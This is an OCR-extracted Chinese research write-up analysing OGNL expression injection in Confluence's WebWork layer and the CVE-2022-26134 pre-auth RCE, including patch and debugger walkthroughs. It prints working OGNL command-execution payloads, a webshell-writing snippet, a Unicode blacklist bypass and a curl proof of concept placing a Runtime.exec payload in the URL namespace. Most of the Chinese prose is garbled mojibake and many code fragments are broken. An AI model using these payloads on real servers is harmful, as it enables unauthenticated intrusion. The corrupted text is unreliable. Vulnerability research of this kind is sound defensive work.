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0x00 HIE

E—®3E (Confluence SSTI via Velocity) FHRRERBZABER, RATIERASTNGEZEERR
TAIEERNERE, XRXEETEMNT ZFRSH. SilmariEd Poc,

0x01 f&FN
AIEENBLUTHRES:

o MBOGNL EXNEE & WELENE, FET—LAlFHTHLER
o 1RE Confluence 4B HTTP BEXRHIIEARTRIE
o T CVE-2022-26134 RUhT, SAEIMAZ#IE Exploit

0x02 FEXHXIES OGNL
OGNL 3%
e OGNL B

o HAMER (REEEHES poc/exp)
o AR (BSWIT/EE/SUEEN)

THE OGNL
« RENEAXHTHE, EAGERER NS XEEEHERERERREME.

OGNL (Object-Graph Navigation Language) is an expression language for getting and
setting properties of Java objects (& Java XSHIEH).

BAEZEMER
0. EFEgT

The fundamental unit(EZAEJIT) of an 0GNL expression is the navigation chain(&fii
#%), usually just called "chain",

WBE OGNL SzFE=CER, BU “." (=25) #HTREN— = rraRis.
BIlF:

peopled{
name =
fullName = {

getAge(){

hy
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Expression Element(5Tt&)
Part

Example

Property (JBM) names ¥XEY people Y name EfE, BJHH: people.name FEx

$KEN people B9 age /BiE, BIA: people.getName() +®
PR

Method Calls

Array Indices(¥BZ32]) FREN people HIMEEG , ®JF8 people.fullName[0] F=

1, =R
BEEFEERAIRE X AIRERR—, FEREE

o BE: OGNL FXZ, FrHWITHAERE
o A#): OGNL ROOtYE, TREEI(ENXSEIE
o Hbea: OGNL LRIGRE, FRHVTIRIERIIREER

2, BRHSNE
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588

BRNSRIES. ik

@ BERESHR. 505 #SXE

# EXZE. FERdErootIR. KA this ZE(SEIEREXIMAISEA)

${} I\ OGNL FA=(; a0 ${xxxx}

% FAAERR; AN %{xxxx}, SIRPUTIRE xxxx EO0CNLRARNEERITE
{} & List; f2a0: {"aaa", "bbb"}
#H} ¥h&E Map; Fzun: #{"a" : "12345", "b" : "67890"}

this LRIRSSRATXIRAYSERI, @i #this 1AM

I BERXSRAESIERERIIENISR, AZ0: new

new
java.net.URL("http://www.xxx.com/")

3. #IBH{EF
BISHFTHROGNLAESM feature B vulnerability

1. TTIRRESHE

OgnlContext context = OgnlContext();
expression =

Ognl.getValue(expression,context);
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Calculator

= Standard

2. EXZE. (82, BiEER

OgnlContext context = OgnlContext();
expression =

+

Ognl.getValue(expression,context);

7| Untitled - Not.. — O x
File Edit Format View Help

1 Windows (CRLF) UTF-8

3. new XEFEIENSR

OgnlContext context = new OgnlContext();

String expression = "(new java.lang.ProcessBuilder(new java.lang.String[]
{'calc'})).start()";
Ognl.getValue(expression,context);
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Calculator

= Standard M

4, FREfER
M Struts2 FRFRY payload SEIJUMEFHTRIEFIFE
1. T

# Runtime
@java.lang.Runtime@getRuntime() .exec(\

# ProcessBuilder
¢ java.lang.ProcessBuilder( java.lang. })).start()

# I0Utils
@org.apache.commons.io.I0Utils@toString(@java.lang.Runtime@getRuntime() .exec(
) .getInputStream())

PUIEEES

# Scanner

new

java.util.Scanner(@java.lang.Runtime@getRuntime() .exec('ipconfig').getInputStre
am()) .useDelimiter('\\a').next()

PSR ES

}

OGNLTrig
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SCERATAENEITE response XISREIR

#writer = response.getWriter()

#writer.println( )
#writer.flush()
#writer.close()

3. S{HHE(F
BARan ST ERET RS, AL webshell

String expression =

"#filepath =
'"F:/workspace/java/application/atlassian/confluence/code/local/confluence-
exploit-beta/', "+

"#filename = 'shell.jsp'," +

"#filecontent = 'pwned by 1337'," +

"#fos=new java.io.FileOutputStream((#filepath + #filename))," +

"#fos.write(#filecontent.getBytes())," +

"#fos.close()";
OgnlContext context = new OgnlContext();
Ognl.getValue(expression,context);

PUIEEES

5. HIELR

o RUEERNE, BEESERFFMNFS 06NL ERENIFIR
1. yfelfA& RCE Sink

o HEEERIT

getValue()
setValue() # AFIAZ getValue

findValue() # ABFEXE getValue

fia T
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# getValue()

OgnlContext context = new OgnlContext();
Ognl.getValue("(new java.lang.ProcessBuilder(
{'calc'})).start()", context);

# setValue()

OgnlContext context = new OgnlContext();
Ognl.setValue("((new java.lang.ProcessBuilder
{'calc'})).start())(1)", context,"");

# findValue()
OgnlValueStack stack = new OgnlValueStack();

new java.lang.String[]

(new java.lang.String[]

stack.findValue("(new java.lang.ProcessBuilder(new java.lang.String[]

{'calc'})).start()");

2. getValue(). setValue() =EFIELRK

Generally speaking, navigation chains are evaluated by evaluating the first

e.method(args
(args) expression, then evaluating the second one with the result of the first as the

Method call source object.
e.property

Property
ei[ e2 ]

Index
el.{e2}

Projection
el.{re2}

Selection
el.({e2)

Subexpression

evaluation
el(ez)

Expression

evaluation

3. PSERfE issue EBAY "trick"
EA07E poc & unicode ZwEBAYEEEMNMEITSR?
ERRMERABHIE R REEENNEER, HRE:

(® 110pen + 42 Closed

© IMUERELMFE, How ognl solve safety problem
L¥1806620741

#161 opened on Jul 26

© In 3.3.3 (and before) compileExpression fails without add-opens on Java 17

2160 opened on Jul 14 by petergeneric

© java.lang.ArithmeticException: / by zero

2142 opened on Jan 5 by csxcsx00

© class reference is failed when include "or’ at a package name

#103 opened on May 22, 2020 by kazuki43zoo

© Add short circuit for public method to avoid unnecessary synchronization and cache

#90 opened on Oct 28, 2019 by quaff

© can ognl support javad lambda expressions

#66 opened on Dec 24, 2018 by timnick-snow

© Add Automatic-Module-Name for JPMS

#52 opened on Mar 30, 2018 by danielfernandez

© Issue with SecurityManager and 3.0.19

#31 opened on Oct 10, 2016 by warlockza

© Getting "NoSuchPropertyException” Randomly

222 opened on May 3, 2016 by infear-on-the-way

© Unit tests don't work if expressions are not compiled

#18 opened on Mar 10, 2016 by marvkis

© Unicode Proerty is not supported

213 opened on Aug 3, 2015 by narusas
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Some of these forms can be passed as top-level expressions to setValue
and others cannot. Only those chains that end in property references
(e.property), indexes (e1[22]), and subexpressions (e1.(e2)) can be; and
expression evaluations can be as well. For the chains, getValue is called on
the left-hand expression (e or e1), and then setvalue is called on the rest
with the result as the target object.

Author = Label ~ Projects = Milestones - Assignee - Sort =
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517 (OGNL v2.6.9):

# new K#E=F UnicodefRiB/515%] \uB06e\ubB65\ub077
(\uBB6e\uBB65\uB077 java.lang.ProcessBuilder(new java.lang.Stringl[]

{"calc"})).start()

MR

Calculator

= Standard ¥

Q: Ht4aS£zdE Unicode? BEH/RIFEAMIRIDEIESLE?
A: SEh ERERNK, AhRiEFHR, BEIOGNLIEINRE

readChar: , JavaCharStream (ognl)

BeginToken: , JavaCharStream (ognl)
getNextToken: , OgnlParserTokenManager (ognl)
jj_ntk: , OgnlParser (ognl)

unaryExpression: , OgnlParser (ognl)
multiplicativeExpression: , O0gnlParser (ognl)
additiveExpression: , OgnlParser (ognl)
shiftExpression: , OgnlParser (ognl)
relationalExpression: , OgnlParser (ognl)
equalityExpression: , OgnlParser (ognl)
andExpression: , OgnlParser (ognl)
exclusiveOrExpression: , OgnlParser (ognl)
inclusiveOrExpression: , OgnlParser (ognl)
logicalAndExpression: , OgnlParser (ognl)

logicalOrExpression: , OgnlParser (ognl)
conditionalTestExpression: , OgnlParser (ognl)

assignmentExpression:65, OgnlParser (ognl)
expression:24, 0gnlParser (ognl)
topLevelExpression:16, OgnlParser (ognl)
parseExpression: , 0gnl (ognl)

getValue: , 0gnl (ognl)

getValue: , 0gnl (ognl)

main:12, OGNLTrigger (com.demo)
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BF BB i

ELJiFHER, &I 06GNL 7£ v3.1.25 ERAIIANT ETFEZ By ais)

< > C

821 public static Object invokeMethod(Object target, Method method, Object[] argsArray) 1108

@ github.com/orphan-oss/ognl/compare/OGNL_3_1_24..0GNL 3_1_25

822 throws InvocationTargetException, TllegalAccessException 1101
823 < 1102
824 boolean syncInvoke; 1103
825 Boolean check

ission

Boolean methodAccessCacheValue

i

82
&2 Boolean methodPermCa:
52

E

Prevent calls to some specific methods, as
classes/interfaces for which no (apparent)
usage within OGNL invokeMethod().

mex ICEENV»O00
public static Object invokeMethod(Object target, Method method, Object[] argsArray)
throws InvocationTargetException, IllegalAccessException
{
boolean syncInvoke;
boolean checkPermission;

Boolean methodAccessCacheValue;

Boolean methodPermCacheValue;

if (_usestricterInvocation) {
final Class methodDeclaringClass = method.getDeclaringClass(); // Wote:
.equals(methoa)) ||
E_ARR_REF sals(method)) ||
+ uals(metnoa)) ||
AccessibleObjectHandl methodDeclaringClass) ||
ClassRes m(methodDeclaringClass) ||
PethodAccessor.class signableFron(methodDeclaringClass) ||
+ MemberAccess. class rom(methodDeclaringClass) ||
OgnlContext.cla om(methodDeclaringClass) ||
Runtime. cla
+ Classloader
+ Processguilder.
- AccessibleObjec
/ Prevent calls to some specific method
classes/interface
for wnich no (apparent) legitimate use cases exist for their usage within
OGNL invokeMethod() .
th legalAccessException(“Method [ + method + "] cannot be called from
+ er stricter invocation mode.");
+ ¥
o
n, metnod i ion if it actually requires it

well as all methods of certain
legitimate use cases exist for their

PRI LS AOER, LAKRIEOGNL invokeMethod () =& (BBEM) &5 EAIR L /2 OM0FT
BHEER, tbaaSHITEER Runtime, ProcessBuilders,

fIlF

1§ O0GNL [RAFAZIBREZHMREIRRAE, FUTHmSHITHREN, SREHIUTERE

E AL invokeMethod() & VT isAssignableFrom() F5iEFIMT
SRR ZEOEEERE, 5

A5#gEN Class
mHESE:

Runtime.

ISR TR A ER

Class

EAEHBERgEEO. NRENRE  true |,
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Q: WIRSEHRNENEZRE?

A: AIiEZH9, 1XBLL ScriptEngine 9

PSR ES

Calculator

= Standard =

0x03 EZE WebWork 4t
WebWork #B%:

o fHEANBConfluence 2HNFKEER HTTP &K

—iK Confluence FYZRHME (zmd)

e https://developer.atlassian.com/server/confluence/images/42732834.png

T p—

Spring

3
22
g M
ks "
[=] - =
o 2
M 52| 2
2 E ) XWark
g u E Actions
w o
g
z

Spring Session-in-View
Seraph

Apache AXIS
(SOAP)
Glue
(SOAP)
Apache
XML-RPC

Download Serviet

DWR
(AJAX)

SimpleDisplayServiat
(URL Mapper)

Scheduled Tasks

Managers

Confluence in Layers
(Massively Over-Simplified)

Requests come in from the left

Quartz

Charles Miller
Maon Nov 28 2005

DAQS
y
S
OSUser &
T Database
PropertySet
3 5_
E B
g g
S B
Extractars
2
4
E|
a
Searcher
i Bandana | Confluence
Home
Directory
Config

KFAGHTTP iERAGLLIEIELZE: WebWork2, EEMEIT—H 03 8 ppt BHMNA:
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WebWork 2 provides..

Tied to HTTP request / response
Integration with session / application scopes

Servlet-based dispatcher to turn incoming
requests into action/s.

Automatically set properties of action based
on request parameters

View integration (JSP, Velocity etc)

User interface / form components

—KEEBERAY WebWork ZEtIE

HitpServietRequest
WebWork ActionContextCleanUp I
Other filters (Siredde sh, etc)
M&thﬂf "

Tntercer

| Thtrrree

Ke

Serulet filters

Tntercentor 3

Intercentor 2

| Intercentor 1

HiwServietResnonse —w

E—MEREREAPEAMFREE, REITRERD
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& %88

RFR—REKRGVER, HActionZEFELHActionfZOEA AR
ActionSupport, SEHRTEAIARJexecutessik, FHRE—MEREMHHENH
Result, ActiontBAJLIRZE—1"P0J0, FRUAEMAEBARTIEHETEO.
Action2—RiEkaEHIRE, FRMthFRUEIEREMIBE.

Actions

—NERTENEY, AFERActionTZE, MIETRHYTIEER, Result
Results TypeRTUMAILAN: B RE A EIESR. EidResult Type, WebWork®a LT
ERSZIFZTMIER R (Bl JIsp. FreeMarker, Velocity%),

WebWorkgyiZakse, WebWork&ZkActionidsk, 7EActionBiTZRIEZ EEFEIEEL
Interceptors B87iE. XiE, ALABERIIATUSINEEEAZIActiond, WebWorkiEZRBRIREINEE
EREUF=EESAIF UIRMER. fla: S8R%, KB, Eirt, XHEEEE.

SRR TR — AR RS

e com.opensymphony.webwork.dispatcher.ServietDispatcher#service THim

KRBk
e http://10.1.1.1:8090/xxx/login.action

il i

service (HttpServietRequest request, HttpServletResponse response) ServletException {

FF—ZFIH Filter 4MBfE, £E ServletDispatcher#service ,iEESERALITAIZRBUHENAYE

getNameSpace ()
getActionName()
getRequestMap()
getParameterMap()
getSessionMap()

LA getNameSpace() Afl, H4MERENT:

request.getServletPath() — getNamespaceFromServletPath(servletPath) —

servletPath.substring(0, servletPath.lastIndex0f("/"))
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e namespace = BKERRE—" / RS

o #iEK /login.action — namespace FE ""

o

EiaK /xxx/login.action — name MEF /xxx

nE:

Ma onMap, Map applicationMap, Ht

>
>
>
>
>
>
>
>
>
>
>

FHRIEAEIR
e com.opensymphony.xwork.DefaultActionInvocation#invoke —

o com.opensymphony.xwork.interceptor.AroundInterceptor#intercept —

e com.opensymphony.xwork.DefaultActionInvocation#invoke &

[e
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String [; Exception {

{
( 5 ) 4

IllegalStateException(
s
{
( .hasNext()) {

s

Interceptor interceptor = (Interceptor)

interceptor.intercept(

.getConfig().getMethodName() ==

) |

.getExecuteResult()) {
.executeResult()

2 resultCode &~A null BINIBHBER, ABEHIT this.executeResult() ->
this.createResult() ,#R#E resultCode ¥KBY resultConfig

Result createResult()
Map results =

Exception {

.getConfig().getResults()
ResultConfig resultConfig = (ResultConfig)results.get(
Result newResult =

(resultConfig !=

i
s

newResult = ObjectFactory.getObjectFactory().buildRes

(Exception var5) { £y

ult(resultConfig)

Evaluate
.error(

Code fragment:
vars

results

newResult

Debug: [=] confluence-7.3.5-debug

= Debugger Console = I B

}a

“http-nio-8090-exec-9"@45,555 in group "main”: RUNNING

O createResult:143, DefaultActionlnvocation (com.opensyr

#E51EH ObjectFactory#buildResult() #3%E result , 3KEYZI login.action XFRZAGHERRIZ
H#Z /login.vm

executeResult() Exception {

.createResult()

= ) { result: EncodingVelocityResult@50767

.execute( v result = {EncodingVelocityResult@50767}

.equals( parse = true

"7 location =

. .getResultCode())
> @ value = [47, 108, 111, 103, 105, 110, 46, 118, 109]
0 coder=0

hash = -1323267957

AT  this.result XIMAY2E  EncodingVelocityResult 4¥iEE

WebWorkResultSupport |, this.result.execute() FERKE
WebWorkResultSupport.execute()

No.
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execute(ActionInvecation invocation) Exception {
String finallocation =
( . ) o
OgnlValueStack stack = ActionContext.getContext().getValueStack()

finallocation = TextParseUtil.translateVariables( . stack)

.doExecute(finallocation, invocation)

o TIESHITEl execute(), SEIZAERIEEAZ, #i84, MHE ActionChainResult BERRREih
HEEN

Result Serializable {

execute(ActionInvocation varl) Exception

Choose Implementation of execute (8 Methods Found) )
ActionChainResult (com.opensymphony.xwork) 7.3 (xwork-1.0.3.6.jar) B
ChartResult
HttpErrorResult
HttpHeaderResult
ServerHttpDispatcherResult
SoyResult
WebWorkResultSupport
XSLTResult

SRIBTEAE  Result#excute() ERIEFA TextParseUtil#translateVariables() 3XJ Variable
#1T Translate

String translateVaklables(Str‘lng expression, OgnlValueStack stack) {
StringBuilder sb = StringBuilder ()
Pattern p = Pattern.compile(

Matcher m = p.matcher(expression)

previous
(previous = m.find(); previous = m.end()) {
String g = m.group(1)

start = m.start()

String value
{
Object o = stack.findValue(qg)
value = o == ? : o0.toString()
(Exception varle) {
value =

ANE (BREER)
INREDHT Confluence HRIFEETEMIOMEIXERIE—IE Confluence XF HTTP iEKAULLIEL
2, HRERHT translateVariables() F53£EE, Eﬁ{ﬁj{iﬂ_’,m/\iziu CVE-2022-26134
B9, Ee= findValue() SEHEBE :)

# 7Z& expression H[§E
FILEERAD ${xxx} B payload, fili&z stack.findValue(), 1A% RCE HIRLER

BEHBVER VelocityResult#doExecute() R Velocity #&iR3IEEMEAERSZE  Login.vm
HTER, REREER,

{
VelocityManager velocityManager = VelocityManager.getInstance()
Template t = .getTemplate(stack, velocityManager.getVelocityEngine(), invocation, finallocation)
Context context = .createContext(velocityManager, stack, request, response, finallocation)
Writer writer = pageContext.getOut()
(usedJspFactory) {
String encoding = .getEncoding(finallLocation)
String contentType = .getContentType(finallLocation)
(encoding != ) {
contentType = contentType + + encoding
b

response.setContentType(contentType)

}

t.merge(context, writer)
(usedJspFactory) {
writer.flush()

(Exception var20) {

.error( + finallocation + var2e)
var2e

No.
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SN
% ®3 - Confluence X +
&« C O & 10.1.1.1:8090/%0¢/ ogin.action
& Confluence
Confluence

=
U

PEHS
[ RIZERVEFES

EY s

Z|lt,, Confluence BY HTTP iEREMMERIEMIESEES,

it

o

Ny
Iﬁ:%ﬂil%l

7

o ERUEA#EY /xxx/login.action K HTTP &R
o ZF—ZRF Filter &MBE, €% ServletDispatcher#service() #HTHEIEK
e J@IY this.getNameSpace(). this.getActionName ()ZE5E3RENFAEREM, f0: namespaceZE
o 2N ESRHARTENER, HEl resultCodes=null BEHAEIR
e fR{E resultCode #JE this.result FHIFEL login.action IIRZAYEANRSZ{E /Llogin.vm
e H{T this.result.excute() BILVEF translateVariables() IJ—&as&i##4T Translate
o Converted object from variable translation.
o R[XXIRIANHTHT, FE O0GNL Injection AIXE
o REMEMBIERIRSUFHITHE & ER, AERELEE i,

0x04 CVE-2022-26134 pre-auth RCE

Security Advisory

e Confluence - CVE-2022-26134 - Critical severity unauthenticated RCE
vulnerability

Atlassian has been made aware of current active exploitation of a critical
severity unauthenticated remote code execution vulnerability in Confluence Data
Center and Server. The OGNL injection vulnerability allows an unauthenticated user
to execute arbitrary code on a Confluence Server or Data Center instance.

KEER:
o A% unauthenticated AHEETEARIR
o ImRFIA:
o O0GNL injection ®REAR FANIES 0GNL AYER
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T B

diffhT

8B&T ActionChainResult#execute() 3XF TextParseUtil.translateVariables() H9E
B. £ 0x03 /P, BL&4508 translateVariables() 27FfE 0GNL Injection KUEHY:

BTz
o EPFHREEX  /xxx/login.action &9 HTTP i\ %
o U7 Filter #MERE, =FF  ServletDispatcher#service() TS EER
« BT this.getNameSpace(). this.getActionName ()SAiZFEINFAZEMNER, : namepace=
o =N EESRSEHTENRER, 83 resultCodeznull BkHEA
* tRIE resultCode #EE this.result F5£EY login.action XTRIAYENRSZHEE  /Login.vm
o H4T this.result.excute() Er=EHE translateVariables() Ig—&I=2iET Translate

o Converted object from variable translation.
o =TtEATUETAENT, =1 O0GNL Injection #9XiE
» SEMENSEERTUEHTME & 58, AEROSENR,

WMEREESHHWEftA ActionChainResult#execute() fY OGNL Injection EJmH],
e com.opensymphony.xwork.ActionChainResult#execute

execute(ActionIny tion invocation) Exception {

WEFRT=, VA translateVariables() ¥ namespace #{T4ME, T namespace £ 0x03 /)
ThEfAAER

No. 17 / 22


af://n311

Confluence EL Injection via OGNL

LA getNameSpace() Joffl, SE4MEREW H:

request.getServlietPath() — getNamespaceFromServlietPath(servletPath) — servletPath.substring(8, servletPath.lastIndex0O

* namespace = FEREEEE— / ZANRE
o EiE®R [login.action — namespace 2 "

o FHEE [xxx/login.action — name MEF  [xxx

FTLA 26134  tHFIFZAET .

¥9i& poc IEARTE

1. 7£ namespace &N O0GNL Fixzt

/${2%2}/1login.action

NE, RIFFVERIERAA—F

<« C O & 10.1.1.1:8090/${2*2}/login.action
& Confluence
Confluence

BF
VRS

P55
O RICERAVERER

EY v

ZiIZaIIoITER], X3 /login.cation {EKEMRE result B, BUSHIERMIEER
WebWorkResultSupport AJ EncodingVelocityResult , &EHI{THY Result#excute() =2
WebWorkResultSupport , A2 ActionChainResult .

Q: |[WEEET, WIMiEiEkeitE#1T2) ActionChainResult#execute() M@ ?

EMZ—T:

o % /xxx/login.action BUIEK, fEHE this.result HAISIREIE resultCode="input"
M Map results =EX resultConfig , H ClassName RETIJEE Result#execute()
7,
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createResult()

).buildResult(resultConfig)

FRLAEAEEEAS] ActionChainResult#execute() , EE#S4 resultConfig B9 className 79
ActionChainResult, resultConfig B resultCode &E

M results PDHFEIE, ¥ resultCode EFLATEA:

notpermittedpersonal
readonly
notpermitted
notfound

LT RERINENE] ActionChainResult#execute().,

Q: ZWAKIESKILE resultCode EFLAEERE ?

A: ERNKISREE, REEAREIEI,

&Exd notpermitted HATHEZIREIUTHEIA
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"Not Permitted" immediately after Confluence login

, Mark Plimley
3 Mar 19, 2018

I'm running Confluence 6.6.0 server and am still trying to figure it out. Immediately after login as a
regular user it puts me on Administration / Users, which | probably visited as jira admin. As
expected, | get "Not Permitted.” | cleared my browser cache but that didn't help.

| logged in from another computer where | have not connected before, and it put me on the same
incorrect page. | conclude from this that Confluence has saved this as my default page.

| tried changing the URL to [Confluence URL]/welcome.action but this put me on the
/dashboard.action page with the same error message.

Is there something wrong with my permissions? How can | fix the default page on login? Please
advise,

Mark

ERREN, HE—NEERAVEREFERIA? thalE$H) /dashboard.action ,

BRIgIE poc MR

2. £ namespace &MEN 0GNL Fix=

/${2%2}/dashboard.action

e, FIFVEREEER—#E, resultCode = notpermitted

HYTRFEES] ActionChainResult#execute , Y@M TextParseUtil.translateVariables ¢
namespace H{TRME,

e
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5
] Evaluate

Code fragment:

ck.findValue(g)

B ${} aotiAzURENGSRIT, BRIOAAR OGNL Injection,

ZEiit, HRDFEDER.

BNIER, FAEEMIE Conflunence BY HTTP ERAGMIETIER "M &T OGNL Sink , i&EM
Sink ZFEEME Source |, EIAREER.
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e =

curl -kI
"http://10.1.1.1:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29 .exec%28%22¢c
alc%22%29%7D/dashboard.action"
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Confluence Post-Exploitation

1. https://commons.apache.org/proper/commons-ognl/
2. https://y4er.com/posts/cve-2022-26134-confluence-server-data-center-ognl-rce/
3. https://baike.baidu.com/item/webwork/486050

REZEBIME(]Z ZI8mF041E, respect++
EREIETHRSHIER, TLESEEEMIESTENABEE: https: //penduin.github.io/ #1T

(5

No. 22 / 22


af://n369
https://commons.apache.org/proper/commons-ognl/
https://y4er.com/posts/cve-2022-26134-confluence-server-data-center-ognl-rce/
https://baike.baidu.com/item/webwork/486050

	Confluence EL Injection via OGNL
	0x00 前言
	0x01 简介
	0x02 表达式语言 OGNL
	了解 OGNL
	基本语法和使用
	基于黑名单的沙箱机制

	0x03 框架 WebWork 分析
	0x04 CVE-2022-26134 pre-auth RCE
	补丁分析
	漏洞复现

	0x05 小结


